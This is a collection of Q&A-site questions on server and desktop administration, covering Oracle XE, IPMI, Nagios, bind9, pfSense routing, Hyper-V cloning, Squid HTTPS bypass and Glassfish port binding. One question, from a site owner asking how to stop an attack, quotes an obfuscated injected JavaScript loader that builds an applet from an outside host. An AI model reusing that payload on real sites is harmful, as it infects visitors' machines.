• How can I resolve Oracle 11g XE connection failure straight after installation?

  - by d3vid

  I have just installed Oracle 11g XE on a Windows 7 VirtualBox VM, using all the default options. "Getting Started" fails When I click on Getting Started I get taken to http://127.0.0.1:8080/apex/f?p=4950 which fails. After some browsing I came across a suggestion to confirm the HTTP port, but I can't get this far, because I can't connect. connect system fails If I select Run SQL command line I get taken to a SQL prompt. I enter connect system and get prompted for a password. I enter the password. I immediately get the following error: ERROR: ORA-01033: ORACLE initialization or shutdown in progress Process ID: 0 Session ID: 0 Serial number: 0 Info: Start database This happens whether or not I run Start database first. (Start database just opens a Windows command prompt window.) Info: Windows services My Oracle services start as follows: Starting the manual services doesn't resolve the problem. Enabling and starting the disabled service doesn't resolve the problem. Is there something I haven't done? How can I resolve this connection error?

• SuperMicro BMC on OpenSuSE Linux --cannot access from LAN

  - by Kendall

  Hi, I have an (old) SMC-001 IPMI device on an (old) X6DVL-EG2 motherboard. My problem is that I cannot access the BMC from LAN. I'm also getting some interesting output from ipmitool. First, the setup. I enable Console Redirection in the BIOS, turn BIOS Redirection after POSt to "disabled". I then modprobe'ed for ipmi_msghandler, ipmi_devintf and ipmi_si. I then found ipmi0 under /dev. So far so good. Since I want console redirection over serial, I modified /boot/grub/menu.lst: http://pastebin.com/YYJmhusQ I then modified "/etc/inittab" as follows: S1:12345:respawn:/sbin/agetty -L 19200 ttyS1 ansi Networking I set as following, using "ipmitool" ipaddr: 192.168.3.164 netmask: 255.255.255.0 defgw: 192.168.3.1 The above are correct for my environment. To test it I do: ipmitool -I open chassis power off which responds by powering off the machine. When I to access from another computer on the network, however, I get an error message: host# ipmitool -I lanplus -H 192.168.10.164 -U Admin -a chassis power status Error: Unable to establish LAN session Unable to get Chassis Power Status "Admin" seems to be a valid user name: host# ipmitool -I open user list 1 2 Admin true false true USER The interesting output from ipmitool I initially mentioned: host # ipmitool -I open lan set 1 access on Set Channel Access for channel 1 failed: Request data field length limit exceeded Also, newload4:/home/gjones # ipmitool channel info 1 Channel 0x1 info: Channel Medium Type : 802.3 LAN Channel Protocol Type : IPMB-1.0 Session Support : session-less Active Session Count : 0 Protocol Vendor ID : 7154 Get Channel Access (volatile) failed: Request data field length limit exceeded The output of "ipmitool -I open lan print 1" is here: http://pastebin.com/UZyL6yyE Any help/suggestions is greatly appreciated; I've been working with this thing for a few hours now with no success.

• Reverse proxy for mailserver (SMTP + HTTP for web client)

  - by gaqzi

  I'm looking at doing some reverse proxy work for a mail server with corresponding web client. Both servers are running on the same machine, this is not a server with a high load. :) The solution I've discussed with friends is having the mail server/web client on our internal network. Then to put a reverse proxy on the DMZ to service both SMTP and web client HTTP-traffic to the mail server on the internal network. From what I understand this is the recommended secure solution? So far I've thought for the SMTP-proxy part of using postfix which will receive mail, do some spamhause and similar anti-spam measures and if it all checks out, send the mail to the mail server on the inside. The mail server on the inside will send all outgoing mail to the proxy which will then send it out on the Internet. For the web client I'm not sure exactly which software I should be running on the proxy machine, I've been thinking about using Squid -- but that's basically based on the fact that I know squid is a http proxy. The web client data will be sent out over SSL. Reading around some here on Serverfault I've seen other people using Apache with mod_proxy+mod_security for similar situations. Am I thinking correctly for this solution? What software would you guys use and with which modules? Thanks in advance for the help! :)

• Trying to run an ASP.NET MVC application using Mono on Apache with FastCGI

  - by Arda Xi

  I have a hosting account with DreamHost and I would like to use the same account to run ASP.NET applications. I have an application deployed in a subdomain, a .htaccess with a handler like this: # Define the FastCGI Mono launcher as an Apache handler and let # it manage this web-application (its files and subdirectories) SetHandler monoWrapper Action monoWrapper /home/arienh4/<domain>/cgi-bin/mono.fcgi virtual My mono.fcgi is set up as such: #!/bin/sh #umask 0077 exec >>/home/arienh4/tmp/mono-fcgi.log exec 2>>/home/arienh4/tmp/mono-fcgi.err echo $(date +"[%F %T]") Starting fastcgi-mono-server2 cd / chmod 0700 /home/arienh4/tmp/mono-fcgi.sock echo $$>/home/arienh4/tmp/mono-fcgi.pid # stdin is the socket handle export PATH="/home/arienh4/mono/bin:$PATH" export LD_LIBRARY_PATH="/home/arienh4/mono/lib:$LD_LIBRARY_PATH" export TMP="/home/arienh4/tmp" export MONO_SHARED_DIR="/home/arienh4/tmp" exec /home/arienh4/mono/bin/mono /home/arienh4/mono/lib/mono/2.0/fastcgi-mono-server2.exe \ /logfile=/home/arienh4/logs/fastcgi-mono-web.log /loglevels=All \ /applications=/:/home/arienh4/<domain> I took this from the Mono site for CGI. I'm not sure if I'm doing it correctly though. This code is resulting in this error: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. I have no idea what's causing this. As far as I can see, Mono isn't even hit (no log files are created).

• VMWare Server Windows 2008 NAT Problem

  - by David

  At my new job our workstations run Windows Server 2008. However, for the specific task for which I've been hired, I need to set up a couple Linux VMs. So I grabbed the free VMWare Server and created an Ubuntu image and a Slackware image. (The former to more closely mimic the production server, the latter because I'm more familiar with it.) For desktop security purposes I need to use NAT for the network access (I would have preferred bridged, but I'm told that would go against some policy here and my whole workstation would be sandboxed from the switch). However, I can't seem to get it working right. I can ping out from the VMs to LAN addresses as well as internet addresses. I can resolve DNS names. However, attempts to use a web browser or perform any kind of higher-level interaction like that just time out. Googling around yesterday led me to various workarounds that were similar, but didn't solve my specific situation. (For example, Norton firewall blocking the connection on the host, or even the Windows firewall.) I also saw some forum posts where people said it's a known issue with VMWare and Windows Server 2008 (and Windows 7). So far I haven't been able to find a suggestion that gets me past this roadblock. I'm really not very familiar with managing a Windows Server 2008 box, so it's possible there's just some security setting somewhere that I need to modify. Does anybody have any suggestions on where I should look? UPDATE: I'm now looking at the "Network and Sharing Center" on the host workstation and it shows "VMWare Network Adapter VMnet8" (which is what I'm using) as an "Unidentified network" with "No Internet access." Looks like I can't modify ICS under the group policy. Any suggestions on how to allow this connection to have internet access?

• Spreadsheet RDBMS

  - by John Nilsson

  I'm looking for a software (or set of software) that will let me combine spreadsheet and database workflows. Data entry in spreadsheet to enable simple entry from clipboard, analysis based on joins, unions and aggregates and pivot/data pilot summaries. So far I've only found either spreadsheets OR db applications but no good combination. OO base with calc for tables doesn't support aggregates f.ex. Google Spreadsheet + Visualizaion API doesn't support unions or joins, zoho db doesn't let me paste from clipboard. Any hints on software that could be used? Basically I'm trying to do some analysis of my personal bank transactions. Problem 1, ETL. The data has to be moved from my bank to a database. My current solution is to manually copy and paste the data into one spread sheet per account from my internet bank. Pains: Not very scriptable. Lots of scrolling to reach the point to paste. Have to apply sorting and formatting to the pasted data each time. Problem 2, analysis. I then want to aggregate the different accounts in one sweep to track transfers per type of transfer over all accounts. The actual aggregation is still unsolved because I can't find a UNION equivalent in the spreadsheets I've tried.

• Nagios returns "No output returned from plugin" running process

  - by user56291

  I have a nagios server and a bunch of nagios clients that i currently monitor. All the clients are setup with the following nrpe configuration. check_users, check_load... metrics are successfully displayed on the nagios interface but check_nginx and check_server_proxy displayed as "Unknown"-(No output returned from plugin). As far as i understood nagios simply runs ps command and looks for either the argument strings or the name of the command to verify whether the service is running. Also with -c flag, one can give nagios a threshold to determine the output (ie: -c 1 returns 'OK' for if it finds at least 1 process.) nrpe_local.cfg: ###################################### # Do any local nrpe configuration here ###################################### allowed_hosts =127.0.0.1,10.0.2.181 command[check_users]=/usr/lib/nagios/plugins/check_users -w 5 -c 10 command[check_load]=/usr/lib/nagios/plugins/check_load -w 15,10,5 -c 30,25,20 command[check_all_disks]=/usr/lib/nagios/plugins/check_disk -w 20% -c 10% command[check_zombie_procs]=/usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z command[check_total_procs]=/usr/lib/nagios/plugins/check_procs -w 150 -c 200 command[check_swap]=/usr/lib/nagios/plugins/check_swap -w 50% -c 25% command[check_server_proxy]=/usr/lib/nagios/plugins/check_procs -c 1 -a "api-v1/server.js" command[check_nginx]=/usr/lib/nagios/plugins/check_procs -c 1:30 -C nginx nagios_server.cfg ... define host{ use generic-host ; Name of host template to use host_name plum alias plum address 10.0.2.88 check_command check-host-alive-by-ssh } ... #Check api-proxy-server define service{ use generic-service host_name plum service_description check api proxy service check_command check_nrpe!check_server_proxy } define service { use generic-service ; Name of service template to use host_name plum service_description CHECK_NGINX check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 3 check_command check_nrpe!check_nginx notifications_enabled 1 } Also when i run the command on the nagios client: /usr/lib/nagios/plugins/check_procs -c 1 -a "api-v1/server.js" I get the desired output PROCS OK: 1 process with args 'api-v1/server.js' I would really appreciate any pointers that might help me solve why it nrpe command does not return the desired output on the nagios server panel.

• Bind9 configured to start at boot, has to be started manually

  - by antik

  I've configured bind9 on my system and it works great when it runs. It's currently configured to be run at runlevel 2 by setting: $ sudo update-rc.d bind9 enable 2 This appears to have done its work: $ tree -f /etc/rc?.d | grep -e ".*bind9$" |-- /etc/rc0.d/K85bind9 -> ../init.d/bind9 |-- /etc/rc2.d/S15bind9 -> ../init.d/bind9 |-- /etc/rc3.d/S15bind9 -> ../init.d/bind9 |-- /etc/rc4.d/S15bind9 -> ../init.d/bind9 |-- /etc/rc5.d/S15bind9 -> ../init.d/bind9 |-- /etc/rc6.d/K85bind9 -> ../init.d/bind9 Booting the system, I believe I am at runlevel 2: $ runlevel N 2 Given the above configuration, when the system is rebooted, bind does not come up. Only on occasion, for some reason, can I resolve hostnames immediately after startup. Far more often than not however, I cannot. I can interrogate the service's status: $ sudo /etc/init.d/bind9 status * could not access PID file for bind9 When the service doesn't start, I can start it successfully via a terminal by issuing $ sudo /etc/init.d/bind9 start And it works great from then on. Loopback configuration: $ ifconfig lo lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:1872 errors:0 dropped:0 overruns:0 frame:0 TX packets:1872 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:220205 (220.2 KB) TX bytes:220205 (220.2 KB) Do I have my startup misconfigured? (I'm used to Gentoo so Ubuntu's model is still a little new to me) I'm not seeing any log indication of a failed attempt to start at boot in syslog. Is there someplace else I should be looking? What else should I look into to get bind working at startup?

• Route specific HTTP requests through pfSense OpenVPN

  - by DennisQ

  Hi, to start, I have very little knowledge on routes, iptables, etc. That said, here's what I'm trying to accomplish and where I think I'm stumped: Problem: We have an external website which we recently firewalled so it only accepts traffic from our office IP addresses. This works well at the office, but doesn't work for remote access through VPN as we don't route all traffic through OpenVPN. I would rather avoid forcing everyone to route all traffic through just to accommodate this one site. Environment: Main router box is running pfSense. Em0 is internal IP, Em1 is external. Internal net is 10.23.x and VPN is 10.0.8.0/24 I believe what I need to do is add a route to the VPN server config to send all traffic to that IP over the VPN tunnel. I think that part's working, but I don't get a response back, so I'm assuming that I need some NAT config on the VPN server to route the response back over the tunnel? What I've found so far is to try the following, but since this is a pfSense box on FreeBSD, I can't run iptables, etc. Make sure ip forwarding is enabled: echo 1 /proc/sys/net/ipv4/ip_forward Setup NAT back out: iptables -t nat -A POSTROUTING -s 10.0.8.0/24 -o em0 -j MASQUERADE Am I on the right path, and if so how do I accomplish this through pfSense UI or FreeBSD CLI? Thanks!

• Ubuntu 10.04 preseed unattended install results in faulty partition table

  - by joschi

  I'm currently trying to set up an unattended installation of Ubuntu 10.04 (Lucid Lynx) through preseeding. But whenever I try to create a custom partition scheme, the Debian installer (which Ubuntu is using) produces a faulty partition table. I've taken the partition scheme described in the example preseed file: d-i partman-auto/expert_recipe string \ boot-root :: \ 40 50 100 ext3 \ $primary{ } $bootable{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext3 } \ mountpoint{ /boot } \ . \ 500 10000 1000000000 ext3 \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext3 } \ mountpoint{ / } \ . \ 64 512 300% linux-swap \ method{ swap } format{ } \ . Unfortunately it also produces an incorrect partition table on the disk. The installation process itself is working and the installed system eventually boots and is working, as far as I can tell. But fdisk and cfdisk are still complaining: # fdisk -l /dev/sda Disk /dev/sda: 17.2 GB, 17179869184 bytes 255 heads, 63 sectors/track, 2088 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000a1cdd Device Boot Start End Blocks Id System /dev/sda1 * 1 5 37888 83 Linux Partition 1 does not end on cylinder boundary. /dev/sda2 5 2089 16736257 5 Extended /dev/sda5 5 2013 16121856 83 Linux /dev/sda6 2013 2089 613376 82 Linux swap / Solaris cfdisk even refuses to start at all: # cfdisk /dev/sda FATAL ERROR: Bad primary partition 1: Partition ends in the final partial cylinder parted on the other hand does not complain about the cylinder boundary of /dev/sda1: # parted /dev/sda p Model: VMware Virtual disk (scsi) Disk /dev/sda: 17.2GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 1049kB 39.8MB 38.8MB primary ext4 boot 2 40.9MB 17.2GB 17.1GB extended 5 40.9MB 16.5GB 16.5GB logical ext4 6 16.6GB 17.2GB 628MB logical linux-swap(v1) Since the installed system is working, it shouldn't be a big problem but I'm afraid that this will mean trouble in the future.

• How can I use Linksys WPSM54G print server as a bridge for another machine AND also share the printe

  - by user26453

  I have a Linksys WPMS54G currently sharing a printer via the USB port with the rest of my network via the wireless. Is there any way to set it up so that the ethernet port is bridged over the wireless adapter portion? i.e., be able to uplink another machine or switch into the network via the WPMS54G's ethernet port? Update: The network architecture is as follows: (1) Linksys WRT54G router that serves as a router, DHCP server, and wireless access point for the network. Fairly standard configuration (3) Laptops that are used throughout the house via wifi (1) Linksys WPSM54G printer server that connects via wireless to the router, in a separate room with a printer attached to print seerver's USB port along with (1) Un-networked desktop in the same room Since the printer is plugged into the USB port of the WPSM54G, I am wondering if I can connect the desktop to the ethernet port of the WPSM54G and have it bridged over the wifi to the router. The twist here is that the ethernet is initially used to connect the wireless print server to the router (for configuration, can't configure it wirelessly if you are initially on a encrypted network). Now instead of using that ethernet port as a way to connect the print server to the network (via the router), I want to use the ethernet port as a way to connect another computer to the network, in effect bridging into the router via the print server, while still sharing the printer (attached via USB) through the print server. If this is not clear, please comment. To be clear, the computer I want to connect/bridge into the network does not have a wireless card, is far from the router, and I do not want to lay ethernet cable to connect it. While I could certainly buy a legitimate wireless bridge to accomplish this, I figured since the print server already has an ethernet port, see if I can't use that.

• windows 8.1 upgrade fails with error code 0xc1900101-0x20017

  - by cmorse

  I just tried to install windows 8.1 on my laptop, but it fails to install with the message: Sorry we couldn't complete the update to Windows 8.1. We restored your previous version of Windows to this PC 0xC1900101 - 0x20017 It looks like on the first boot that the laptop is going to the PC restore screen (it asks what kind of keyboard I have, and then what repair optins I would like to take). Thus far I have just been selecting "Continue to windows 8." I'm running a Lenovo x220i tablet. I've got 43GB of free disk space. It installed just fine on my desktop.

• Can compressing Program Files save space *and* give a significant boost to SSD performance?

  - by Christopher Galpin

  Considering solid-state disk space is still an expensive resource, compressing large folders has appeal. Thanks to VirtualStore, could Program Files be a case where it might even improve performance? Discovery In particular I have been reading: SSD and NTFS Compression Speed Increase? Does NTFS compression slow SSD/flash performance? Will somebody benchmark whole disk compression (HD,SSD) please? (may have to scroll up) The first link is particularly dreamy, but maybe head a little too far in the clouds. The third link has this sexy semi-log graph (logarithmic scale!). Quote (with notes): Using highly compressable data (IOmeter), you get at most a 30x performance increase [for reads], and at least a 49x performance DECREASE [for writes]. Assuming I interpreted and clarified that sentence correctly, this single user's benchmark has me incredibly interested. Although write performance tanks wretchedly, read performance still soars. It gave me an idea. Idea: VirtualStore It so happens that thanks to sanity saving security features introduced in Windows Vista, write access to certain folders such as Program Files is virtualized for non-administrator processes. Which means, in normal (non-elevated) usage, a program or game's attempt to write data to its install location in Program Files (which is perhaps a poor location) is redirected to %UserProfile%\AppData\Local\VirtualStore, somewhere entirely different. Thus, to my understanding, writes to Program Files should primarily only occur when installing an application. This makes compressing it not only a huge source of space gain, but also a potential candidate for performance gain. Testing The beginning of this post has me a bit timid, it suggests benchmarking NTFS compression on a whole drive is difficult because turning it off "doesn't decompress the objects". However it seems to me the compact command is perfectly capable of doing so for both drives and individual folders. Could it be only marking them for decompression the next time the OS reads from them? I need to find the answer before I begin my own testing.

• Syncing Music Everywhere with Google Music and iTunes Match - Will This Work?

  - by dragonmantank

  I have the following devices: Personal Laptop running Windows 7/Ubuntu 11.10 (mostly use Ubuntu) Media Server running Windows 7 with PS3 Media Server and iTunes Work Laptop running OSX Snow Leopard iPad iPhone 4S The iPhone just replaced my Droid 2 Global. What I had been doing was using Google Music to watch the folders iTunes was storing music in and moving any new files up to Google Music. The Droid would pull music down from the cloud via streaming or me telling it to make it available offline, I had folders set up with PS3 Media Server to stream them to TV's via DLNA, and used RDP to play music through my speakers in the office. So far it's worked well. Since I've replaced the Droid 2 though with an iPhone, I've lost the syncing ability with Google Music and have to do it via iTunes (I knew this would happen, no big suprise). I got to thinking though - Apple does offer iTunes Match, which allows your devices to stream/download the music from 'the cloud,' much like Google Music. I could then listen to whatever I Wanted (for the most part) on my phone, iPad, and laptops by syncing via iTunes Match. I don't want to loose my MP3s though, and since I've never used iTunes Match, I wonder if the following is a viable solution: Sign up for iTunes Match on my media server Let it scan my library and make available my songs in AAC in the cloud Not delete the media server MP3s Set up other devices to sync to iTunes Match Continue to get MP3s via Amazon or other services and add to iTunes Let the MP3s sync to Google Music, and let the MP3's add to the AAC versions on my devices I think the main kicker is I don't want to lose the MP3 versions of my songs as those will work just fine on all my devices and I generally rip at 320kbps. I don't mind spending $25/year if it means that I can easily shift the music from device to device without much thinking, but I'm not going to pay $25/year to end up converting my library over to AAC just to save myself the hassle of manually syncing my iPad and iPhone.

• System Information (msinfo32.exe) Can't Collect Information

  - by ptanne

  I have Windows XP Pro, service pack 1, IE 6 and 32GB of free space, 75GB total. I have had nothing but trouble after trying to install service pack 2 even though I used System Restore. The installation was incomplete and my computer has never been the same. I attempted to install sp2 four or five times and sp3 once, always with the same result. I've tried reinstalling XP Pro but that didn't fix the problem. My XP Pro disk now has a scratch on it and refuses to work. Dell would not replace it stating that my computer was out of warranty. I'm currently trying Reimage which is supposed to return a computer to the original configuration and replace missing or damaged files. Believe it or not, Ripley, it stops in the middle of the operation and, so far, the Reimage techs haven't been able to figure out why. Of the many problems that I still have is that System Information can't collect information. The Help and Support sections that display system info also don't work. Is there some way that I can fix this? I can't afford to throw my computer away, yet. Thank you for listening, Pam Galvin

• Trouble with IIS SMTP relaying to Gmail

  - by saille

  I appreciate that similar questions have been asked about how to setup SMTP relaying with IIS's virtual SMTP server. However I'm still completely stumped on this problem. Here's the setup: IIS 6.0 SMTP server running on Win2k3 box with a NAT'ed IP. Company uses Gmail for all email services. An app on the box needs to send email, so normally we'd just set the app up to talk to smtp.gmail.com directly, but this app doesn't support TLS. Easy, we just setup a local SMTP relay right? So I thought. What we have done so far: Setup IIS SMTP server to relay to smtp.gmail.com, as per these excellent instructions: http://fmuntean.wordpress.com/2008/10/26/how-to-configure-iis-smtp-server-to-forward-emails-using-a-gmail-account/ The local SMTP relay allows anonymous access. Both the local IP and the loopback IP have been explicitly allowed in the Connection... and Relay... dialogs. Tried sending email from 2 different apps via the local SMTP server, but failed (the emails end up in the Queue folder, but never get sent). The IIS logs show the conversation with the local app, but zero conversation happening with smtp.gmail.com. The port used by gmail is open outbound, and indeed the apps we have that support TLS can send email directly via smtp.gmail.com, so there is no problem with the network. At this point I changed the smtp settings in IIS SMTP server to use a different external SMTP server and hey-presto, the local apps can send email via local IIS SMTP relay. So smtp.gmail.com fails to work with our IIS SMTP relay, but another 3rd party SMTP service works fine. We need to use smtp.gmail.com, so how to troubleshoot this one?

• Recovering a VHD after resizing it using VBoxManage

  - by tjrobinson

  I am using VirtualBox 4.1.18 and had a virtual machine running Windows 8 RC with a single VHD, which was initially sized at 25GB (too small!). After installing the OS and some applications I ran out of disk space so shut down the guest and then used this command to resize the VHD to 80GB: C:\Program Files\Oracle\VirtualBox> .\VBoxManage.exe modifyhd "D:\VirtualBox VMs\Windows 8 RC\Windows 8 RC.vhd" --resize 81920 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% C:\Program Files\Oracle\VirtualBox> .\VBoxManage.exe showhdinfo "D:\VirtualBox VMs\Windows 8 RC\Windows 8 RC.vhd" UUID: 03fb26e7-d8bb-49b5-8cc2-1dc350750e64 Accessible: yes Logical size: 81920 MBytes Current size on disk: 24954 MBytes Type: normal (base) Storage format: VHD Format variant: dynamic default In use by VMs: Windows 8 RC (UUID: a6e6aa57-2d3a-421b-8042-7aae566e3e0b) Location: D:\VirtualBox VMs\Windows 8 RC\Windows 8 RC.vhd So far so good. However, when I started the guest up again I got the dreaded: Fatal: No bootable medium found! system halted If I boot into GParted it shows a single 80GB drive as "unallocated". The option to scan for and attempt to repair a filesystem doesn't find anything. I also tried cloning the VHD into a VDI file, just in case that magically fixed it: C:\Program Files\Oracle\VirtualBox> .\VBoxManage.exe clonehd "D:\VirtualBox VMs\Windows 8 RC\Windows 8 RC.vhd" "D:\VirtualBox VMs\Windows 8 RC\Windows 8 RC.vdi" --format VDI 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% Clone hard disk created in format 'VDI'. UUID: baf0c2c4-362f-4f6c-846a-37bb1ffc027b C:\Program Files\Oracle\VirtualBox> .\VBoxManage.exe showhdinfo "D:\VirtualBox VMs\Windows 8 RC\Windows 8 RC.vdi" UUID: baf0c2c4-362f-4f6c-846a-37bb1ffc027b Accessible: yes Logical size: 81920 MBytes Current size on disk: 24798 MBytes Type: normal (base) Storage format: VDI Format variant: dynamic default In use by VMs: Windows 8 RC (UUID: a6e6aa57-2d3a-421b-8042-7aae566e3e0b) Location: D:\VirtualBox VMs\Windows 8 RC\Windows 8 RC.vdi Is there anything else I could try to recover the drive? No, I don't have a backup :( My host OS is Windows 7 64-bit.

• Clone virtual machine with Server 2008 R2 and Hyper-V?

  - by bwerks

  Hi all, I've recently just started working with Hyper-V, and so far it's quite nice. However, I've been running into problems with what seems like it should be the most basic of workflows. I've set up a baseline Server 2008 R2 configuration, and exported it with the intention of using the export for cloning. I entered "C:\Exports\" as the export folder. However, I run into problems when I try to import the image. From the Hyper-V manager, I select "Import Virtual Machine" and in the resulting window I entered "C:\Exports\BuildServer\" as the folder, set the radial to "Copy the virtual machine (create a new unique ID)" and checked the checkbox for "Duplicate all files so the same virtual machine can be imported again." Doing so results in the following error: "Import failed. Import task failed to copy file from 'H:\Exports\BuildServer\Virtual Hard Disks\BuildServer.vhd' to 'C:\Hyper-V\Virtual Hard Disks\BuildServer.vhd': The file exists. (0x80070050)" Have I somehow messed something up in configuration? Or is this a known thing? I've read it should be possible to clone VMs by copying them in the filesystem but I'd prefer to keep things in the management Ui if possible.

• Automate Windows 7's file sharing and firewall settings

  - by nhinkle

  I am working with my school to customize Windows 7 on some new laptops we are receiving. The laptops come with Windows 7 Professional already installed, and we do not need or want to reimage them. We would however like to customize the installation once it is in place, through a series of scripts. We will also be deploying these scripts to computers which have already been set up. Most of the settings we wish to change can be done easily from the command line or with a registry file. However, there is one thing we keep getting hung up on: networking options. Is there any unattended way to set the Windows 7 networking configuration? We would like to set the following things automatically, which are found under Control Panel > Network and Sharing Center > Advanced sharing settings > Home or Work network: Turn on network discovery Turn on printer and file sharing Turn off public folder sharing Turn on password protected sharing Use user accounts and passwords to connect to other computers We also need to configure the firewall to allow the following exceptions: File and printer sharing Remote assistance Remote desktop Remote scheduled tasks management Remote service management Windows remote management I've looked around, and can't find any way to change these things - I looked into netsh, registry settings, and even used RegMon to watch while I changed the values manually, all to no avail. Google hasn't offered up anything helpful so far. If anyone could provide some insight, I would very much appreciate it. I did find out that much of this is configurable with group policy, but because these computers are in a workgroup, not a domain, I don't know of any way to take advantage of that in an unattended manner.

• Windows 2003 R2 x86 Mini dump fails to write to disk

  - by Randy K

  I have 3 blade servers that are Blue Screening with a 0xC2 error as far as we can tell randomly. When it started happening I found that the servers weren't set to do provide a dump because they each have 16GB RAM and a 16GB swap file divided over 4 partitions in 4GB files. I set them to provided a small dump file (64K mini dump), but the dump files aren't being written. On start up the server event log is reporting both Event ID 45 "The system could not sucessfully load the crash dump driver." and Event ID 49 "Configuring the Page file for crash dump failed. Make sure there is a page file on the boot partition and that is large enough to contain all physical memory." I understanding is the the small dump shouldn't need a swap file large enough for all physical memory, but the error seems to point to this not being the case. The issue of course is that the max swap file size is 4GB, so this seems to be impossible. Can anyone point me where to go from here?

• Easiest way to allow direct HTTPS connection in Intercept mode?

  - by Nick Lin

  I know the SSL issue has been beaten to death I'm using DNS redirect to force my clients to use my intercept proxy. As we all know, intercepting HTTPS connection is not possible unless I provide a fake certificate. What I want to achieve here is to allow all HTTPS requests connect directly to the source server, thus bypassing Squid: HTTP connection Proxy by Squid HTTPS connection Bypass Squid and connect directly I spent the past few days goolging and trying different methods but none worked so far. I read about SSL tunneling using the CONNECT method but couldn't find any more information on it. I tried a similar method in using RINETD to forward all traffic going through port 443 of my Squid back to the original IP of www.pandora.com. Unfortunately, I did not realize all other HTTPS requests are also forwarded to the IP of www.pandora.com. For example, https://www.gmail.com also takes me to https://www.pandora.com Since I'm running the Intercept mode, the forwarding needs to be dynamic and match each HTTPS domain name with proper original IP. Can this be done in Squid or iptables? Lastly, I'm directing traffic to my Squid server using DNS zone redirect. For example, a client requests www.google.com, my DNS server directs that request to my Squid IP, then my transparent Squid will proxy that request. Will this set up affect what I'm trying to achieve? I tried many methods but couldn't get it to work. Any takes on how to do this?

• Malware Cross Site Scriptinig attack / XSS Attack?

  - by user124176

  I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

• Sonicwall routing between multiple subnets on multiple interfaces

  - by Rain

  As shown by the network diagram below, I have two completely separate networks. One is being managed by a Sonicwall NSA 220, the other by some other router (the brand is not important). My goal is to allow devices within the 192.168.2.0/24 network to access devices in the 192.168.3.0/24 network. Allowing the reverse (192.168.3.0/24 - 192.168.2.0/24) is not required. So far, I have done the following: I connected the X3 Interface on the Sonicwall to the 192.168.3.0/24 network switch (shown as the dashed red line in the diagram). Next, I gave it a static ip address of 192.168.3.254 and set the Zone to LAN (the same Zone for the X0 interface). Judging by various articles and KBs I've read, this is all that should be necessary, although it does not work. I can ping 192.168.3.254 from any device in the 192.168.2.0/24 network although I cannot ping/connect to any device within the 192.168.3.0/24 network. Any help would be greatly appreciated! Network Diagram: (I asked a similar, yet more complicated, question earlier; although, I realized that I cannot solve that without first solving this (which may actually solve my original question))

• authbind, privbind or iptables REDIRECT (port 80 to 8080)?

  - by chris_l

  Hi, I'd like to run Glassfish v3 as a non-privileged user on Linux (Debian), but make it available on port 80. I'm currently doing this with iptables: iptables -t nat -I PREROUTING -p tcp -d x.x.x.x --dport 80 -j REDIRECT --to-port 8080 This works, but I wonder: If this has any significant performance impact compared to binding directly to port 80 If I could make a similar setup also work for HTTPS (or if that must run on 443) If there's a way to avoid other users from binding to port 8080 (in case my server crashes) - maybe block that port permanently to other users somehow? ...or if I should use authbind/privbind instead? Problem: I couldn't make it work with authbind or privbind so far. For authbind, I edited asadmin's last line to: exec authbind --deep "$JAVA" -Djava.net.preferIPv4Stack=true -jar ... For privbind: exec privbind -u glassfish "$JAVA" -Djava.net.preferIPv4Stack=true -jar ... (Only) with these settings, I can successfully perform a create-domain --domainport 80. This proves, that authbind and privbind actually work (the authbind version of the script is called by the glassfish user; the privbind version is called by root of course). However, in both cases I get the following exception, when starting the domain (start-domain): 